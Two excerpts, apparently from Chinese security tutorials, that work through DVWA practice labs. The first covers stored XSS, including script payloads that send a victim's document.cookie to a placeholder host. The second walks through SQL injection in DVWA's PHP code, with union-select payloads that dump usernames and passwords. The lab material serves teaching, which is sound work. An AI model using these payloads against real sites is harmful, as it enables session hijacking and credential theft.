【DVWA/XSS】XSS跨站脚本攻击实战——DVWA

窃取Cookie

对于跨站的攻击方法,使用最多的莫过于cookie窃取了,获取cookie后直接借助“Live http headers、Tamper Data、Gressmonkey (Cookie injector)、Fiddler”等等工具将cookie修改为获取的cookie,这样即可获得权限。成功还有必要因素(同源策略+浏览器+form标签表单)

步骤一:

我们在DVWA搭建下http://127.0.0.1/dvwa/vulnerabilities/xss_s/

步骤二:

确认存在XSS漏洞

①:破解Message输入框内容长度:Chrome为例

maxlength="50"更改为 maxlength="500"

②:测试存在XSS漏洞

在信息框中输入以下代码

<script>alert('444')</script>

浏览器弹窗:显示444

③:cookie注入测试

在信息框中输入

<script>document.write('<img src="http://XXX.XXX.XXX/XXX.php?cookie='+document.cookie+'" width=0 height=0 border=0 />');</script>

或者

<script>document.location = 'http://XXX.XXX.XXX/XXX.php?cookie=' + document.cookie;</script> ...

【DVWA/PHP】DVWA中学习PHP常见漏洞及修复方法

“安全是一个整体,保证安全不在于强大的地方有多强大 而在于真正薄弱的地方在哪里”–剑心

从很多的渗透大型企业内网的案例来看,入侵者大多数是从Web上找到漏洞,从而利用漏洞进一步进行提权,渗透入侵。WooYun: 时代互联上传漏洞多台数据库可控WooYun: 网易某系统未授权访问可导致内网被渗透

WooYun: 网易某系统未授权访问续—内网渗透

WooYun: 搜弧某分站XFF注射&配置不当导致源码泄漏等重大漏洞

梧桐雨的大型互联网系列

脚本安全就像你家的防盗门,你家门都没关,你家能安全吗?

乌云上最常见的脚本漏洞莫过于SQL注入和XSS。

脚本安全的本质就是脚本接受了不安全的变量输入,又没得到有效的过滤,最后进入一些对敏感的函数就会对安全造成威胁。

比如出现在mysql_query()函数可能就会造成SQL注入漏洞,出现在eval()以及preg_replace()中可能导致代码的执行。

这里我用DVWA演示SQL,XSS ,任意代码执行漏洞的原理

然后用各种修复方法进行修复,附带讲解一些修复方法的弊端。

DVWA下载地址: https://github.com/RandomStorm/DVWA/archive/v1.0.8.zip

DVWA sql调用的文件/vulnerabilities/sqli/目录下,分为low,medium,high三个等级

SQL注入原理

1
2
3
4
5
6
7
8
9
10
//Low.php
if(isset($_GET['Submit'])){
    // Retrieve data
    $id = $_GET['id'];
    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";//这里$id变量没有经过任何的过滤,直接传入了sql语句,造成字符型注入
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );//执行SQL

原SQL中

SELECT first_name, last_name FROM users WHERE user_id = '$id'

中的$id可被用户控制,当黑客把$id变成

' union select user,password from users#

那么这条语句就会变成

SELECT first_name, last_name FROM users WHERE user_id = '' union select user,password from users#

这样导致了数据库中其他数据被黑客查询。 

enter image description here

1
2
3
4
5
6
7
8
9
10
11
12
13
//medium.php中
if (isset($_GET['Submit'])) {
    // Retrieve data
    $id = $_GET['id'];
    $id = mysql_real_escape_string($id);
    $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
    $num = mysql_numrows($result);

虽然$id经过了mysql_real_escape_string转义了’,可是因为后面的SQL语句$id没有单引号保护,会被系统认为是数值型,导致数值型注入

构造SQL注入语句

1 union select user,password from users

SQL语句就变成了

SELECT first_name, last_name FROM users WHERE user_id = 1 union select user,password from users  ...